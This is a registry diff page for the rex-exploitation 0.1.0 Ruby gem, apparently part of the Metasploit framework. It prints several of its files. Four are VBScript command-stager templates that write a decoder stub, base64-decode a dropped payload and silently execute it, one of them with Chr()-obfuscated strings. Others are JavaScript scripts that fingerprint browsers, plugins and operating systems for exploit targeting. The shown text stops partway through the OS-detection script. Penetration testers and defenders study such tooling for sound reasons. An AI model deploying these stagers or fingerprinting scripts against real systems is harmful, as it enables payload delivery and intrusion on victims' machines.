rex-exploitation 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
@@ -0,0 +1,40 @@
1
+ echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
2
+ echo Set file = fs.GetFile("ENCODED") >>decode_stub
3
+ echo If file.Size Then >>decode_stub
4
+ echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
5
+ echo data = fd.ReadAll >>decode_stub
6
+ echo data = Replace(data, vbCrLf, "") >>decode_stub
7
+ echo data = base64_decode(data) >>decode_stub
8
+ echo fd.Close >>decode_stub
9
+ echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
10
+ echo ofs.Write data >>decode_stub
11
+ echo ofs.close >>decode_stub
12
+ echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
13
+ echo shell.run "DECODED", 0, false >>decode_stub
14
+ echo Else >>decode_stub
15
+ echo Wscript.Echo "The file is empty." >>decode_stub
16
+ echo End If >>decode_stub
17
+ echo Function base64_decode(byVal strIn) >>decode_stub
18
+ echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
19
+ echo For n = 1 To Len(strIn) Step 4 >>decode_stub
20
+ echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
21
+ echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
22
+ echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
23
+ echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
24
+ echo If Not w2 Then _ >>decode_stub
25
+ echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
26
+ echo If Not w3 Then _ >>decode_stub
27
+ echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
28
+ echo If Not w4 Then _ >>decode_stub
29
+ echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
30
+ echo Next >>decode_stub
31
+ echo base64_decode = strOut >>decode_stub
32
+ echo End Function >>decode_stub
33
+ echo Function mimedecode(byVal strIn) >>decode_stub
34
+ echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
35
+ echo If Len(strIn) = 0 Then >>decode_stub
36
+ echo mimedecode = -1 : Exit Function >>decode_stub
37
+ echo Else >>decode_stub
38
+ echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
39
+ echo End If >>decode_stub
40
+ echo End Function >>decode_stub
@@ -0,0 +1,50 @@
1
+ echo Dim var_origLoc >>decode_stub
2
+ echo var_origLoc = SetLocale(1033) >>decode_stub
3
+ echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
4
+ echo Set file = fs.GetFile("ENCODED") >>decode_stub
5
+ echo If file.Size Then >>decode_stub
6
+ echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
7
+ echo data = fd.ReadAll >>decode_stub
8
+ echo data = Replace(data, vbCrLf, "") >>decode_stub
9
+ echo data = base64_decode(data) >>decode_stub
10
+ echo fd.Close >>decode_stub
11
+ echo Dim var_strmConv, var_writedir, var_writestream >>decode_stub
12
+ echo var_writedir = "DECODED" >>decode_stub
13
+ echo Set var_strmConv = CreateObject("ADODB.Stream") >>decode_stub
14
+ echo var_strmConv.Type = 2 >>decode_stub
15
+ echo var_strmConv.Charset = "x-ansi" >>decode_stub
16
+ echo var_strmConv.Open >>decode_stub
17
+ echo var_strmConv.WriteText data, 0 >>decode_stub
18
+ echo var_strmConv.Position = 0 >>decode_stub
19
+ echo var_strmConv.Type = 1 >>decode_stub
20
+ echo var_strmConv.SaveToFile var_writedir, 2 >>decode_stub
21
+ echo SetLocale(var_origLoc) >>decode_stub
22
+ echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
23
+ echo shell.run "DECODED", 0, false >>decode_stub
24
+ echo Else >>decode_stub
25
+ echo Wscript.Echo "The file is empty." >>decode_stub
26
+ echo End If >>decode_stub
27
+ echo Function base64_decode(byVal strIn) >>decode_stub
28
+ echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
29
+ echo For n = 1 To Len(strIn) Step 4 >>decode_stub
30
+ echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
31
+ echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
32
+ echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
33
+ echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
34
+ echo If Not w2 Then _ >>decode_stub
35
+ echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
36
+ echo If Not w3 Then _ >>decode_stub
37
+ echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
38
+ echo If Not w4 Then _ >>decode_stub
39
+ echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
40
+ echo Next >>decode_stub
41
+ echo base64_decode = strOut >>decode_stub
42
+ echo End Function >>decode_stub
43
+ echo Function mimedecode(byVal strIn) >>decode_stub
44
+ echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
45
+ echo If Len(strIn) = 0 Then >>decode_stub
46
+ echo mimedecode = -1 : Exit Function >>decode_stub
47
+ echo Else >>decode_stub
48
+ echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
49
+ echo End If >>decode_stub
50
+ echo End Function >>decode_stub
@@ -0,0 +1,49 @@
1
+ echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
2
+ echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
3
+ echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
4
+ echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
5
+ echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
6
+ echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
7
+ echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
8
+ echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
9
+ echo Set wshShell = CreateObject(scriptShell) >>decode_stub
10
+ echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
11
+ echo Set fs = CreateObject(scriptingFS) >>decode_stub
12
+ echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
13
+ echo If file.Size Then >>decode_stub
14
+ echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
15
+ echo data = fd.ReadAll >>decode_stub
16
+ echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
17
+ echo data = Replace(data, vbCrLf, nil) >>decode_stub
18
+ echo data = base64_decode(data) >>decode_stub
19
+ echo fd.Close >>decode_stub
20
+ echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
21
+ echo ofs.Write data >>decode_stub
22
+ echo ofs.close >>decode_stub
23
+ echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
24
+ echo Else >>decode_stub
25
+ echo Wscript.Echo emptyString >>decode_stub
26
+ echo End If >>decode_stub
27
+ echo Function base64_decode(byVal strIn) >>decode_stub
28
+ echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
29
+ echo For n = 1 To Len(strIn) Step 4 >>decode_stub
30
+ echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
31
+ echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
32
+ echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
33
+ echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
34
+ echo If Not w2 Then _ >>decode_stub
35
+ echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
36
+ echo If Not w3 Then _ >>decode_stub
37
+ echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
38
+ echo If Not w4 Then _ >>decode_stub
39
+ echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
40
+ echo Next >>decode_stub
41
+ echo base64_decode = strOut >>decode_stub
42
+ echo End Function >>decode_stub
43
+ echo Function mimedecode(byVal strIn) >>decode_stub
44
+ echo If Len(strIn) = 0 Then >>decode_stub
45
+ echo mimedecode = -1 : Exit Function >>decode_stub
46
+ echo Else >>decode_stub
47
+ echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
48
+ echo End If >>decode_stub
49
+ echo End Function >>decode_stub
@@ -0,0 +1,41 @@
1
+ echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
2
+ echo Set file = fs.GetFile("ENCODED") >>decode_stub
3
+ echo If file.Size Then >>decode_stub
4
+ echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
5
+ echo data = fd.ReadAll >>decode_stub
6
+ echo data = Replace(data, vbCrLf, "") >>decode_stub
7
+ echo data = base64_decode(data) >>decode_stub
8
+ echo fd.Close >>decode_stub
9
+ echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
10
+ echo ofs.Write data >>decode_stub
11
+ echo ofs.close >>decode_stub
12
+ echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
13
+ echo shell.run "DECODED", 0, false >>decode_stub
14
+ echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
15
+ echo Else >>decode_stub
16
+ echo Wscript.Echo "The file is empty." >>decode_stub
17
+ echo End If >>decode_stub
18
+ echo Function base64_decode(byVal strIn) >>decode_stub
19
+ echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
20
+ echo For n = 1 To Len(strIn) Step 4 >>decode_stub
21
+ echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
22
+ echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
23
+ echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
24
+ echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
25
+ echo If Not w2 Then _ >>decode_stub
26
+ echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
27
+ echo If Not w3 Then _ >>decode_stub
28
+ echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
29
+ echo If Not w4 Then _ >>decode_stub
30
+ echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
31
+ echo Next >>decode_stub
32
+ echo base64_decode = strOut >>decode_stub
33
+ echo End Function >>decode_stub
34
+ echo Function mimedecode(byVal strIn) >>decode_stub
35
+ echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
36
+ echo If Len(strIn) = 0 Then >>decode_stub
37
+ echo mimedecode = -1 : Exit Function >>decode_stub
38
+ echo Else >>decode_stub
39
+ echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
40
+ echo End If >>decode_stub
41
+ echo End Function >>decode_stub
@@ -0,0 +1,89 @@
1
+ var ie_addons_detect = { };
2
+
3
+ /**
4
+ * Returns true if this ActiveX is available, otherwise false.
5
+ * Grabbed this directly from browser_autopwn.rb
6
+ **/
7
+ ie_addons_detect.hasActiveX = function (axo_name, method) {
8
+ var axobj = null;
9
+ if (axo_name.substring(0,1) == String.fromCharCode(123)) {
10
+ axobj = document.createElement("object");
11
+ axobj.setAttribute("classid", "clsid:" + axo_name);
12
+ axobj.setAttribute("id", axo_name);
13
+ axobj.setAttribute("style", "visibility: hidden");
14
+ axobj.setAttribute("width", "0px");
15
+ axobj.setAttribute("height", "0px");
16
+ document.body.appendChild(axobj);
17
+ if (typeof(axobj[method]) == 'undefined') {
18
+ var attributes = 'id="' + axo_name + '"';
19
+ attributes += ' classid="clsid:' + axo_name + '"';
20
+ attributes += ' style="visibility: hidden"';
21
+ attributes += ' width="0px" height="0px"';
22
+ document.body.innerHTML += "<object " + attributes + "></object>";
23
+ axobj = document.getElementById(axo_name);
24
+ }
25
+ } else {
26
+ try {
27
+ axobj = new ActiveXObject(axo_name);
28
+ } catch(e) {
29
+ // If we can't build it with an object tag and we can't build it
30
+ // with ActiveXObject, it can't be built.
31
+ return false;
32
+ };
33
+ }
34
+ if (typeof(axobj[method]) != 'undefined') {
35
+ return true;
36
+ }
37
+
38
+ return false;
39
+ };
40
+
41
+ /**
42
+ * Returns the version of Microsoft Office. If not found, returns null.
43
+ **/
44
+ ie_addons_detect.getMsOfficeVersion = function () {
45
+ var version;
46
+ var types = new Array();
47
+ for (var i=1; i <= 5; i++) {
48
+ try {
49
+ types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString()));
50
+ }
51
+ catch (e) {
52
+ types[i-1] = null;
53
+ }
54
+ }
55
+
56
+ if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
57
+ types[3] == 'object' && types[4] == 'object')
58
+ {
59
+ version = "2012";
60
+ }
61
+ else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
62
+ types[3] == 'object' && types[4] == null)
63
+ {
64
+ version = "2010";
65
+ }
66
+ else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
67
+ types[3] == null && types[4] == null)
68
+ {
69
+ version = "2007";
70
+ }
71
+ else if (types[0] == 'object' && types[1] == 'object' && types[2] == null &&
72
+ types[3] == null && types[4] == null)
73
+ {
74
+ version = "2003";
75
+ }
76
+ else if (types[0] == 'object' && types[1] == null && types[2] == null &&
77
+ types[3] == null && types[4] == null)
78
+ {
79
+ // If run for the first time, you must manullay allow the "Microsoft Office XP"
80
+ // add-on to run. However, this prompt won't show because the ActiveXObject statement
81
+ // is wrapped in an exception handler.
82
+ version = "xp";
83
+ }
84
+ else {
85
+ version = null;
86
+ }
87
+
88
+ return version;
89
+ }
@@ -0,0 +1,157 @@
1
+ var misc_addons_detect = { };
2
+
3
+
4
+ /**
5
+ * Detects whether the browser supports Silverlight or not
6
+ **/
7
+ misc_addons_detect.hasSilverlight = function () {
8
+ var found = false;
9
+
10
+ //
11
+ // When on IE, we can use AgControl.AgControl to actually detect the version too.
12
+ // But this ability is specific to IE, so we fall back to just true/false response
13
+ //
14
+ try {
15
+ var ax = new ActiveXObject('AgControl.AgControl');
16
+ found = true;
17
+ } catch(e) {}
18
+
19
+ //
20
+ // ActiveX didn't get anything, try looking in MIMEs
21
+ //
22
+ if (!found) {
23
+ var mimes = window.navigator.mimeTypes;
24
+ for (var i=0; i < mimes.length; i++) {
25
+ if (/x\-silverlight/.test(mimes[i].type)) {
26
+ found = true;
27
+ break;
28
+ }
29
+ }
30
+ }
31
+
32
+ //
33
+ // MIMEs didn't work either. Try navigator.
34
+ //
35
+ if (!found) {
36
+ var count = navigator.plugins.length;
37
+ for (var i=0; i < count; i++) {
38
+ var pluginName = navigator.plugins[i].name;
39
+ if (/Silverlight Plug\-In/.test(pluginName)) {
40
+ found = true;
41
+ break;
42
+ }
43
+ }
44
+ }
45
+
46
+ return found;
47
+ }
48
+
49
+ /**
50
+ * Returns the Adobe Flash version
51
+ **/
52
+ misc_addons_detect.getFlashVersion = function () {
53
+ var foundVersion = null;
54
+
55
+ //
56
+ // Gets the Flash version by using the GetVariable function via ActiveX
57
+ //
58
+ try {
59
+ var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
60
+ foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
61
+ } catch (e) {}
62
+
63
+ //
64
+ // This should work fine for most non-IE browsers
65
+ //
66
+ if (foundVersion == null) {
67
+ var mimes = window.navigator.mimeTypes;
68
+ for (var i=0; i<mimes.length; i++) {
69
+ var pluginDesc = mimes[i].enabledPlugin.description.toString();
70
+ var m = pluginDesc.match(/Shockwave Flash [\d\.]+/g);
71
+ if (m != null) {
72
+ foundVersion = m[0].match(/\d.+/g)[0];
73
+ break;
74
+ }
75
+ }
76
+ }
77
+
78
+ //
79
+ // Detection for Windows + Firefox
80
+ //
81
+ if (foundVersion == null) {
82
+ var pluginsCount = navigator.plugins.length;
83
+ for (i=0; i < pluginsCount; i++) {
84
+ var pluginName = navigator.plugins[i].name;
85
+ var pluginVersion = navigator.plugins[i].version;
86
+ if (/Shockwave Flash/.test(pluginName) && pluginVersion != undefined) {
87
+ foundVersion = navigator.plugins[i].version;
88
+ break;
89
+ }
90
+ }
91
+ }
92
+
93
+ return foundVersion;
94
+ }
95
+
96
+ /**
97
+ * Returns the Java version
98
+ **/
99
+ misc_addons_detect.getJavaVersion = function () {
100
+ var foundVersion = null;
101
+
102
+ //
103
+ // This finds the Java version from Java WebStart's ActiveX control
104
+ // This is specific to Windows
105
+ //
106
+ for (var i1=0; i1 < 10; i1++) {
107
+ for (var i2=0; i2 < 10; i2++) {
108
+ for (var i3=0; i3 < 10; i3++) {
109
+ for (var i4=0; i4 < 10; i4++) {
110
+ var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
111
+ var progId = "JavaWebStart.isInstalled." + version;
112
+ try {
113
+ new ActiveXObject(progId);
114
+ return version;
115
+ }
116
+ catch (e) {
117
+ continue;
118
+ }
119
+ }}}}
120
+
121
+ //
122
+ // This finds the Java version from window.navigator.mimeTypes
123
+ // This seems to work pretty well for most browsers except for IE
124
+ //
125
+ if (foundVersion == null) {
126
+ var mimes = window.navigator.mimeTypes;
127
+ for (var i=0; i<mimes.length; i++) {
128
+ var m = /java.+;version=(.+)/.exec(mimes[i].type);
129
+ if (m) {
130
+ var version = parseFloat(m[1]);
131
+ if (version > foundVersion) {
132
+ foundVersion = version;
133
+ }
134
+ }
135
+ }
136
+ }
137
+
138
+ //
139
+ // This finds the Java version from navigator plugins
140
+ // This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
141
+ // So we do this last.
142
+ //
143
+ if (foundVersion == null) {
144
+ var foundJavaString = "";
145
+ var pluginsCount = navigator.plugins.length;
146
+ for (i=0; i < pluginsCount; i++) {
147
+ var pluginName = navigator.plugins[i].name;
148
+ var pluginVersion = navigator.plugins[i].version;
149
+ if (/Java/.test(pluginName) && pluginVersion != undefined) {
150
+ foundVersion = navigator.plugins[i].version;
151
+ break;
152
+ }
153
+ }
154
+ }
155
+
156
+ return foundVersion;
157
+ }
@@ -0,0 +1,831 @@
1
+ // Case matters, see lib/msf/core/constants.rb
2
+ // All of these should match up with constants in ::Msf::HttpClients
3
+ var clients_opera = "Opera";
4
+ var clients_ie = "MSIE";
5
+ var clients_ff = "Firefox";
6
+ var clients_chrome = "Chrome";
7
+ var clients_safari = "Safari";
8
+
9
+ // All of these should match up with constants in ::Msf::OperatingSystems
10
+ var oses_linux = "Linux";
11
+ var oses_android = "Android";
12
+ var oses_windows = "Windows";
13
+ var oses_mac_osx = "Mac OS X";
14
+ var oses_apple_ios = "iOS";
15
+ var oses_freebsd = "FreeBSD";
16
+ var oses_netbsd = "NetBSD";
17
+ var oses_openbsd = "OpenBSD";
18
+
19
+ // All of these should match up with the ARCH_* constants
20
+ var arch_armle = "armle";
21
+ var arch_x86 = "x86";
22
+ var arch_x86_64 = "x86_64";
23
+ var arch_ppc = "ppc";
24
+ var arch_mipsle = "mipsle";
25
+
26
+ var os_detect = {};
27
+
28
+ /**
29
+ * This can reliably detect browser versions for IE and Firefox even in the
30
+ * presence of a spoofed User-Agent. OS detection is more fragile and
31
+ * requires truthful navigator.appVersion and navigator.userAgent strings in
32
+ * order to be accurate for more than just IE on Windows.
33
+ **/
34
+ os_detect.getVersion = function(){
35
+ //Default values:
36
+ var os_name;
37
+ var os_vendor;
38
+ var os_device;
39
+ var os_flavor;
40
+ var os_sp;
41
+ var os_lang;
42
+ var ua_name;
43
+ var ua_version;
44
+ var arch = "";
45
+ var useragent = navigator.userAgent;
46
+ // Trust but verify...
47
+ var ua_is_lying = false;
48
+
49
+ var version = "";
50
+ var unknown_fingerprint = null;
51
+
52
+ var css_is_valid = function(prop, propCamelCase, css) {
53
+ if (!document.createElement) return false;
54
+ var d = document.createElement('div');
55
+ d.setAttribute('style', prop+": "+css+";")
56
+ return d.style[propCamelCase] === css;
57
+ }
58
+
59
+ var input_type_is_valid = function(input_type) {
60
+ if (!document.createElement) return false;
61
+ var input = document.createElement('input');
62
+ input.setAttribute('type', input_type);
63
+ return input.type == input_type;
64
+ }
65
+
66
+ //--
67
+ // Client
68
+ //--
69
+ if (window.opera) {
70
+ ua_name = clients_opera;
71
+ if (!navigator.userAgent.match(/Opera/)) {
72
+ ua_is_lying = true;
73
+ }
74
+ // This seems to be completely accurate, e.g. "9.21" is the return
75
+ // value of opera.version() when run on Opera 9.21
76
+ ua_version = opera.version();
77
+ if (!os_name) {
78
+ // The 'inconspicuous' argument is there to give us a real value on
79
+ // Opera 6 where, without it, the return value is supposedly
80
+ // 'Hm, were you only as smart as Bjorn Vermo...'
81
+ // though I have not verfied this claim.
82
+ switch (opera.buildNumber('inconspicuous')) {
83
+ case "344": // opera-9.0-20060616.1-static-qt.i386-en-344
84
+ case "1347": // Opera 9.80 / Ubuntu 10.10 (Karmic Koala)
85
+ case "2091": // opera-9.52-2091.gcc3-shared-qt3.i386.rpm
86
+ case "2444": // opera-9.60.gcc4-shared-qt3.i386.rpm
87
+ case "2474": // Opera 9.63 / Debian Testing (Lenny)
88
+ case "4102": // Opera 10.00 / Ubuntu 8.04 LTS (Hardy Heron)
89
+ case "6386": // 10.61
90
+ os_name = oses_linux;
91
+ break;
92
+ case "1074": // Opera 11.50 / Windows XP
93
+ case "1100": // Opera 11.52 / Windows XP
94
+ case "3445": // 10.61
95
+ case "3516": // Opera 10.63 / Windows XP
96
+ case "7730": // Opera 8.54 / Windows XP
97
+ case "8502": // "Opera 9 Eng Setup.exe"
98
+ case "8679": // "Opera_9.10_Eng_Setup.exe"
99
+ case "8771": // "Opera_9.20_Eng_Setup.exe"
100
+ case "8776": // "Opera_9.21_Eng_Setup.exe"
101
+ case "8801": // "Opera_9.22_Eng_Setup.exe"
102
+ case "10108": // "Opera_952_10108_en.exe"
103
+ case "10467": // "Opera_962_en_Setup.exe"
104
+ case "10476": // Opera 9.63 / Windows XP
105
+ case "WMD-50433": // Windows Mobile - "Mozilla/5.0 (Windows Mobile; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00"
106
+ os_name = oses_windows;
107
+ break;
108
+ case "2480": // Opera 9.64 / FreeBSD 7.0
109
+ os_name = oses_freebsd;
110
+ break;
111
+ case "6386": // 10.61
112
+ os_name = oses_mac_osx;
113
+ break;
114
+ case "1407":
115
+ // In the case of mini versions, the UA is quite a bit
116
+ // harder to spoof, so it's correspondingly easier to
117
+ // trust. Unfortunately, despite being fairly truthful in
118
+ // what OS it's running on, Opera mini seems to lie like a
119
+ // rug in regards to the browser version.
120
+ //
121
+ // iPhone, iOS 5.0.1
122
+ // Opera/9.80 (iPhone; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10.10
123
+ // Android 2.3.6, opera mini 7.1
124
+ // Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.101.10
125
+ if (navigator.userAgent.indexOf("Android")) {
126
+ os_name = oses_android;
127
+ } else if (navigator.userAgent.indexOf("iPhone")) {
128
+ os_name = oses_apple_ios;
129
+ os_device = "iPhone";
130
+ }
131
+ break;
132
+ // A few are ambiguous, record them here
133
+ case "1250":
134
+ // Opera 9.80 / Windows XP
135
+ // Opera 11.61 / Windows XP
136
+ // Opera 11.61 / Debian 4.0 (Etch)
137
+ break;
138
+ default:
139
+ unknown_fingerprint = opera.buildNumber('inconspicuous');
140
+ break;
141
+ }
142
+ }
143
+ } else if (typeof window.onmousewheel != 'undefined' && ! (typeof ScriptEngineMajorVersion == 'function') ) { // IE 10 now has onmousewheel
144
+
145
+ // Then this is webkit, could be Safari or Chrome.
146
+ // Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1
147
+ // Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
148
